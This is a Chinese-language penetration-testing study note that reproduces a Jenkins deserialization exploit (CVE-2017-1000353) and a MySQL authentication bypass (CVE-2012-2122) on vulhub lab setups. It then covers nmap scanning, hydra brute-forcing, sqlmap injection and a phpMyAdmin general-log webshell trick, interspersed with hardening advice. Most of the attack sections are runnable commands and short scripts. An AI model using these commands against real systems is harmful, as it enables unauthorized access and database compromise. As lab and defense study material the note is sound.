文章目录
一、Jenkins漏洞
Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作.
JenkinsMiner加密货币挖矿软件攻击我国某机构
https://paper.tuisec.win/detail/a67d6915379bb86
序列化就是把对象转成字节流,便于保存在内存、文件、数据库中;
反序列化即逆过程,由字节流还原成对象。
所有Jenkins主版本均受到影响(包括<=2.56版本)
所有Jenkins LTS 均受到影响( 包括<=2.46.1版本)
环境下载:https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2017-1000353
复现:
生成序列化字符串
java -jar payload.jar jenkins_poc.ser "touch /tmp/jenkins_0day"
发送数据包,执行命令
Python exploit.py
防护
到官网下载升级的安装包(war包): www.freebuf.com
查看最新漏洞情况:
www.exploit-db.com
二、MySQL漏洞
输入的密码会与期望的正确密码比较,由于不正确的处理,也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库,概率为1/256
https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql/
受影响版本
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
搭建CVE-2012-2122漏洞环境
docker-compose.yml
version: '2'
services:
mysql:
image: vulhub/mysql:5.5.23
ports:
- "3306:3306”
docker-compose up -d
复现漏洞
在出现了CVE-2012-2122漏洞得机器上可以使用以下3方式来登录MySQL
- Bash
for i in `seq 1 1000`; do mysql -u root --password=bad -h 渗透IP地址 2>/dev/null; done
2)Metasploit
Metasploit是kali系统自带的安全漏洞检测工具
use auxiliary/scanner/mysql/mysql_authbypass_hashdump #加载模块
show options #查看属性
set RHOST 渗透IP地址 #设置IP地址
exploit或run #执行
得到的密码用cmd5加密过的可以在 https://www.cmd5.com/ 解密出来
3)Python
#!/usr/bin/python
import subprocess
while 1: subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()
三、MySQL的弱密码破解
Nmap
Nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。可以用来扫描端口。
nmap -sV -Pn --open -p3306 渗透IP地址 ##-sV 查看当前版本 -Pn 禁止ping
Hydra
爆破密码工具。
hydra -l root -P password.txt mysql://渗透IP地址 -vV
四、MySQL注入利用
sqlmap
sqlmap -u "http://192.168.4.104/web/Less-1/?id=1" -v 3
防护
- 检查是否避免运维账号共享
- 检查是否使用默认端口
- 检查是否设置禁止MySQL对本地文件存取
lood_file('/etc/passwd')
revoke file on *.* from 'user3'@'127.0.0.1';
- 检查test库是否已被删除。
SHOW DATABASES LIKE 'test';
DROP DATABASE "test";
- 检查默认管理员账号是否已更名
update user set user="newUserName" where user="root";
- 设置MySQL守护进程专用最小特权帐户
ps -ef|egrep "^mysql.*$"
- 禁用MySQL命令历史记录(默认在用户名下生成)
将MYSQL_HISTFILE环境变量设置为/dev/null
.bash_profile,export MYSQL_HISTFILE=/dev/null
或者
ln -s /dev/null $HOME/.mysql_history
- 备份策略
- 确保仅管理员具有完全数据库访问权限
网站配置不允许使用root权限
错误:grant all on *.* to user1 identified by '123456';
指定数据库:
grant all on db1.* to 'user2' @'ip' identified by '123456'
phpmyadmin漏洞
phpmyadmin是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具。
通过general log获取webshell
mysql> show variables like '%general%';
mysql> set global general_log = on;
mysql> set global general_log_file ='网站路径’;
mysql> select ‘<?php phpinfo(); ?>;
mysql> set global general_log_file =‘还原’;
mysql> set global general_log = off;
防护
- 删除phpadmin
- 限制访问phpadmin